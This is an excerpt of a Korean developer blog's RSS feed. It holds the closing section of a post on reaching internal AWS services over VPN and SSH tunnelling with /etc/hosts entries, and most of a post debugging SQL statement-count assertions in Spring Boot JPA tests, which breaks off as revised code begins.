&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #383a42;&quot;&gt;마지막으로 핵심 개념을 정리했다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AWS VPN: AWS VPC 내 개발 서버 접근&lt;/li&gt;
&lt;li&gt;SSH 터널링: 개발 서버를 경유지로 활용&lt;/li&gt;
&lt;li&gt;hosts 파일: SSL 인증서 검증 통과&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;주의할 부분&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 1번을 진행하지 SSH 터널링만 진행하면 아래와 같은 에러들이 나올 것이다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1807&quot; data-start=&quot;1736&quot;&gt;&lt;b&gt;SSL certificate problem: unable to get local issuer certificate&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1887&quot; data-start=&quot;1810&quot;&gt;&lt;b&gt;SSL: no alternative certificate subject name matches target host name&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;브라우저나 애플리케이션은 도메인 이름을 사용하여 SSL 연결을 시도&lt;/b&gt;하는데, /etc/hosts 파일을 설정하지 않으면 internal-component.example.com이 로컬 IP(127.0.0.1)로 직접 연결된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나, 이 IP 주소로 접속하면 SSL 인증서에 해당 도메인 이름이 포함되어 있지 않기 때문에, &lt;b&gt;&quot;호스트 이름 불일치&quot;&lt;/b&gt; 오류가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSL 인증서는 &lt;b&gt;도메인 이름&lt;/b&gt;(예: internal-component.example.com)과 IP 주소를 비교하는데, 이때 IP 주소로만 연결되면 인증서의 도메인 이름과 일치하지 않아서 오류가 발생하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상으로 포스팅을 마칩니다. 감사합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Network</category>
      <category>/etc/hosts</category>
      <category>AWS VPN</category>
      <category>dns</category>
      <category>hosts 파일</category>
      <category>ssh</category>
      <category>SSL</category>
      <category>VPN</category>
      <category>내부 네트워크 접근</category>
      <category>포트포워딩</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/368</guid>
      <comments>https://devdebin.tistory.com/368#entry368comment</comments>
      <pubDate>Wed, 10 Dec 2025 21:39:51 +0900</pubDate>
    </item>
    <item>
      <title>SQL Count &amp;amp; Assertion With 디버깅</title>
      <link>https://devdebin.tistory.com/367</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;저번 포스팅과 이어지는 부분이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://devdebin.tistory.com/366&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://devdebin.tistory.com/366&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1764073890135&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;JPA 거짓 연관 관계 맺기(프록시)&quot; data-og-description=&quot;동일한 테이블의 2개의 엔티티회사 프로젝트에 아래 예시 코드와 유사한 코드가 존재한다.@Table(name = &amp;quot;prod&amp;quot;)@Entityclass Prod( @Id @GeneratedValue(strategy = GenerationType.IDENTITY) val id: Long = 0, @Column(name = &amp;quot;name&amp;quot;)&quot; data-og-host=&quot;devdebin.tistory.com&quot; data-og-source-url=&quot;https://devdebin.tistory.com/366&quot; data-og-url=&quot;https://devdebin.tistory.com/366&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Yoqk1/hyZOulRMAh/kuxzeTeUIcG9ulstX1KzCK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/b9Fcf8/hyZNEpIn9k/lZJvusspB49N5GROUlad71/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bIAwqm/hyZN25AQIz/gDSODSI28BkY7uQi8RQwlK/img.png?width=1354&amp;amp;height=284&amp;amp;face=0_0_1354_284&quot;&gt;&lt;a href=&quot;https://devdebin.tistory.com/366&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://devdebin.tistory.com/366&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Yoqk1/hyZOulRMAh/kuxzeTeUIcG9ulstX1KzCK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/b9Fcf8/hyZNEpIn9k/lZJvusspB49N5GROUlad71/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bIAwqm/hyZN25AQIz/gDSODSI28BkY7uQi8RQwlK/img.png?width=1354&amp;amp;height=284&amp;amp;face=0_0_1354_284');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;JPA 거짓 연관 관계 맺기(프록시)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;동일한 테이블의 2개의 엔티티회사 프로젝트에 아래 예시 코드와 유사한 코드가 존재한다.@Table(name = &quot;prod&quot;)@Entityclass Prod( @Id @GeneratedValue(strategy = GenerationType.IDENTITY) val id: Long = 0, @Column(name = &quot;name&quot;)&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;devdebin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SQL Count &amp;amp; Assertion&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저번 포스팅에서는 getReferenceById를 사용해 실제 데이터를 조회하지 않고 프록시로 연관관계를 세팅했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정에서 데이터 조회하지 않는 내용을 눈으로 확인해봤는데, 이번에는 눈으로 검증하지 않는 자동화를 진행해보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 발생한 SQL 구문 횟수를 검증(Assertion)하는 것이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;사용한 라이브러리&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 아래와 같은 의존성을 추가해준다. build.gradle.kts 기준 코드다.&lt;/p&gt;
&lt;pre id=&quot;code_1764074962878&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;implementation(&quot;io.hypersistence:hypersistence-utils-hibernate-63:3.12.0&quot;)
implementation(&quot;com.github.gavlyukovskiy:datasource-proxy-spring-boot-starter:1.12.1&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hypersistence-utils-hibernate 라이브러리의 SQLStatementCountValidator를 사용해 검증을 진행할 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 DataSource-Proxy 라이브러리를 사용해 데이터 소스를 프록시해 실제 파라미터 값과 SQL문 실행 수 같은 정보를 얻을 수 있다. 깃허브에서 DataSource-Proxy를 스프링 부트 스타터로 편하게 제공하는 라이브러리가 있어 이를 채택했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hypersistence-utils-hibernate 라이브러리가 내부적으로 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;DataSource-Proxy&lt;span&gt; 라이브러리를 의존하고 있어,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;SQL 실행 수 같은 정보를 편하게 검증 가능하게 해준다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;그럼 본격적으로 코드를 작성해보자.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;먼저 DataSource-Proxy 스프링 부트 스타터이니 자동 구성을 먼저 확인해보면 어떤 스프링 빈이 등록되어,&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;DataSource-Proxy 라이브러리가 데이터 소스를 프록시해 파라미터 값과 SQL 실행 수 같은 각종 정보를 얻을 수 있는지 확인이 가능할 것이다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;바로 &lt;b&gt;DataSourceDecoratorAutoConfiguration&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;라는 스프링 부트 자동 구성 핵심 클래스를 찾을 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 클래스에는 아래 코드와 같이 프로퍼티를 읽어오고 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1764076098654&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@EnableConfigurationProperties({DataSourceDecoratorProperties.class})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 DataSourceDecoratorProperties 클래스를 확인해보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;722&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZDAdf/dJMcacVQes7/HZZcqoobnvJFcWm8jgsKxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZDAdf/dJMcacVQes7/HZZcqoobnvJFcWm8jgsKxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZDAdf/dJMcacVQes7/HZZcqoobnvJFcWm8jgsKxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZDAdf%2FdJMcacVQes7%2FHZZcqoobnvJFcWm8jgsKxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1430&quot; height=&quot;722&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;722&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 DataSource-Proxy 라이브러리를 사용하고 있으니, DataSourceProxyProperties를 확인하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;774&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7dMDT/dJMcafkJj7I/5b10TonO5RxJEDcAO1Wa00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7dMDT/dJMcafkJj7I/5b10TonO5RxJEDcAO1Wa00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7dMDT/dJMcafkJj7I/5b10TonO5RxJEDcAO1Wa00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7dMDT%2FdJMcafkJj7I%2F5b10TonO5RxJEDcAO1Wa00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1302&quot; height=&quot;774&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;774&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 countQuery가 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 우리의 application.yml에 아래와 같은 내용을 작성하자.&lt;/p&gt;
&lt;pre id=&quot;code_1764076226018&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;decorator:
  datasource:
    datasource-proxy:
      multiline: true
      format-sql: true
      json-format: true
      count-query: true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 데이터 소스를 감싼 프록시에서 수행된 query를 카운팅하는 세팅을 완료했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자세히 코드를 살펴보면 &lt;b&gt;QueryCountStrategy&lt;/b&gt;의 구현체인 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;SingQueryCountHolder&lt;/b&gt;&lt;/span&gt;가 스프링 빈으로 등록된 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1072&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6qQCM/dJMcafdXOAe/K2Jq3mtkeKmAknHU2rgPkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6qQCM/dJMcafdXOAe/K2Jq3mtkeKmAknHU2rgPkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6qQCM/dJMcafdXOAe/K2Jq3mtkeKmAknHU2rgPkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6qQCM%2FdJMcafdXOAe%2FK2Jq3mtkeKmAknHU2rgPkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1072&quot; height=&quot;396&quot; data-origin-width=&quot;1072&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SingQueryCountHolder&lt;/b&gt;는 ProxyDataSourceBuilderConfigurer에서 Data Source 프록시를 생성할 때 DataSourceQueryCountListener에 멤버 변수로 바인딩 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 흐름은 파악했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 아래와 같이 테스트 코드를 작성하자.&lt;/p&gt;
&lt;pre id=&quot;code_1764078507667&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;package com.dblab

import com.dblab.jpa.proxy.Prod
import com.dblab.jpa.proxy.ProdForExternalSystem
import com.dblab.jpa.proxy.ProdForExternalSystemRepository
import com.dblab.jpa.proxy.ProdRepository
import com.dblab.jpa.proxy.Vendor
import com.dblab.jpa.proxy.VendorRepository
import io.hypersistence.utils.jdbc.validator.SQLStatementCountValidator
import net.ttddyy.dsproxy.QueryCountHolder
import net.ttddyy.dsproxy.listener.QueryCountStrategy
import net.ttddyy.dsproxy.listener.SingleQueryCountHolder
import org.junit.jupiter.api.AfterEach
import org.junit.jupiter.api.BeforeEach
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.TestInstance
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import org.springframework.test.annotation.DirtiesContext

@SpringBootTest
class DbLabApplicationTests {

    @Autowired
    lateinit var prodRepository: ProdRepository

    @Autowired
    lateinit var prodForExternalSystemRepository: ProdForExternalSystemRepository

    @Autowired
    lateinit var vendorRepository: VendorRepository

    @BeforeEach
    fun setUp() {
        SQLStatementCountValidator.reset()
    }

    @Test
    fun `연관관계를 조회한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = &quot;상품&quot;, vendor = vendorRepository.findById(vendor.id).orElseThrow())
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(3)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(1)
    }

    @Test
    fun `연관관계 없이 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = ProdForExternalSystem(name = &quot;상품&quot;, vendorId = vendor.id)
        prodForExternalSystemRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    @Test
    fun `프록시를 사용한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = &quot;상품&quot;, vendor = vendorRepository.getReferenceById(vendor.id))
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    private fun createVendor() = Vendor(
        name = &quot;test_vendor&quot;,
        code = &quot;code&quot;
    )
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 짠 것 같지만 예외가 뻥뻥터졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 3개를 전체 수행시켰더니 마지막 테스트에서 다음과 같은 에러가 발생했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1676&quot; data-origin-height=&quot;106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bt1fRV/dJMcaaRglxa/fM1aXpcZaW8g0LPaFP3B4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bt1fRV/dJMcaaRglxa/fM1aXpcZaW8g0LPaFP3B4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bt1fRV/dJMcaaRglxa/fM1aXpcZaW8g0LPaFP3B4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbt1fRV%2FdJMcaaRglxa%2FfM1aXpcZaW8g0LPaFP3B4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1676&quot; height=&quot;106&quot; data-origin-width=&quot;1676&quot; data-origin-height=&quot;106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reset() 메서드가 필자가 생각한대로 테스트마다 SQL 카운트를 초기화시켜주고 있는 것이 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 바로 SQLStatementCountValidator를 살펴보았다.&lt;br /&gt;내부에 있는 QueryCountHolder가 바로 DataSource-Proxy 라이브러리에 있는 클래스다.&lt;/p&gt;
&lt;pre id=&quot;code_1764075725237&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class SQLStatementCountValidator {
    private SQLStatementCountValidator() {
    }

    public static void reset() {
        QueryCountHolder.clear();
    }

    public static void assertSelectCount(int expectedCount) {
        StatementType.SELECT.validate((long)expectedCount);
    }

    public static void assertInsertCount(int expectedCount) {
        StatementType.INSERT.validate((long)expectedCount);
    }

    public static void assertUpdateCount(int expectedCount) {
        StatementType.UPDATE.validate((long)expectedCount);
    }

    public static void assertDeleteCount(int expectedCount) {
        StatementType.DELETE.validate((long)expectedCount);
    }

    public static void assertTotalCount(int expectedCount) {
        StatementType.TOTAL.validate((long)expectedCount);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 QueryCountHolder의 코드다.&lt;/p&gt;
&lt;pre id=&quot;code_1764077520800&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class QueryCountHolder {

    private static ThreadLocal&amp;lt;ConcurrentMap&amp;lt;String, QueryCount&amp;gt;&amp;gt; queryCountMapHolder = new ThreadLocal&amp;lt;ConcurrentMap&amp;lt;String, QueryCount&amp;gt;&amp;gt;() {
        @Override
        protected ConcurrentMap&amp;lt;String, QueryCount&amp;gt; initialValue() {
            return new ConcurrentHashMap&amp;lt;String, QueryCount&amp;gt;();
        }
    };

    public static QueryCount get(String dataSourceName) {
        final Map&amp;lt;String, QueryCount&amp;gt; map = queryCountMapHolder.get();
        return map.get(dataSourceName);
    }

    public static QueryCount getGrandTotal() {
        final QueryCount totalCount = new QueryCount();
        final Map&amp;lt;String, QueryCount&amp;gt; map = queryCountMapHolder.get();
        for (QueryCount queryCount : map.values()) {
            totalCount.setSelect(totalCount.getSelect() + queryCount.getSelect());
            totalCount.setInsert(totalCount.getInsert() + queryCount.getInsert());
            totalCount.setUpdate(totalCount.getUpdate() + queryCount.getUpdate());
            totalCount.setDelete(totalCount.getDelete() + queryCount.getDelete());
            totalCount.setOther(totalCount.getOther() + queryCount.getOther());
            totalCount.setTotal(totalCount.getTotal() + queryCount.getTotal());
            totalCount.setSuccess(totalCount.getSuccess() + queryCount.getSuccess());
            totalCount.setFailure(totalCount.getFailure() + queryCount.getFailure());
            totalCount.setTime(totalCount.getTime() + queryCount.getTime());
        }
        return totalCount;
    }

    public static void put(String dataSourceName, QueryCount count) {
        queryCountMapHolder.get().put(dataSourceName, count);
    }

    public static List&amp;lt;String&amp;gt; getDataSourceNamesAsList() {
        return new ArrayList&amp;lt;String&amp;gt;(getDataSourceNames());
    }

    public static Set&amp;lt;String&amp;gt; getDataSourceNames() {
        return queryCountMapHolder.get().keySet();
    }

    public static void clear() {
        queryCountMapHolder.get().clear();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QueryCountHolder 클래스의 clear() 메서드는 단순히 스레드 로컬을 초기화하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 잘못됨을 느꼈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 카운트를 세기 위해 싱글톤으로 등록된 &lt;b&gt;SingQueryCountHolder &lt;/b&gt;코드는 없고 스레드 로컬만 초기화하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 코드라면 초기화가 될 리 없지..!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이상한 점은 &lt;b&gt;SingQueryCountHolder&amp;nbsp;&lt;/b&gt;에 의해서 어떻게 QueryCountHolder의 QueryCount 값이 올라간거지?!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드로 보면 바로 답이 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1614&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpwCMx/dJMcaiPfqRY/krLYvQCtsqfT2G3Yvu6lx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpwCMx/dJMcaiPfqRY/krLYvQCtsqfT2G3Yvu6lx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpwCMx/dJMcaiPfqRY/krLYvQCtsqfT2G3Yvu6lx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpwCMx%2FdJMcaiPfqRY%2FkrLYvQCtsqfT2G3Yvu6lx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1614&quot; height=&quot;764&quot; data-origin-width=&quot;1614&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 저기에서 QueryCountHolder에 값을 넣어버리는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론은 QueryCountHolder와 SingQueryCountHolder 가 다른 저장소를 보고 있었고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;count가 증가하는 로직은&amp;nbsp;SingQueryCountHolder에 의해 QueryCountHolder도 반영되지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SingQueryCountHolder의 clear() 메서드에는 QueryCountHolder에 대한 어떤 로직도 없어서 반영이 안됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 코드를 아래와 같이 수정했다.&lt;/p&gt;
&lt;pre id=&quot;code_1764078700929&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;package com.dblab

import com.dblab.jpa.proxy.Prod
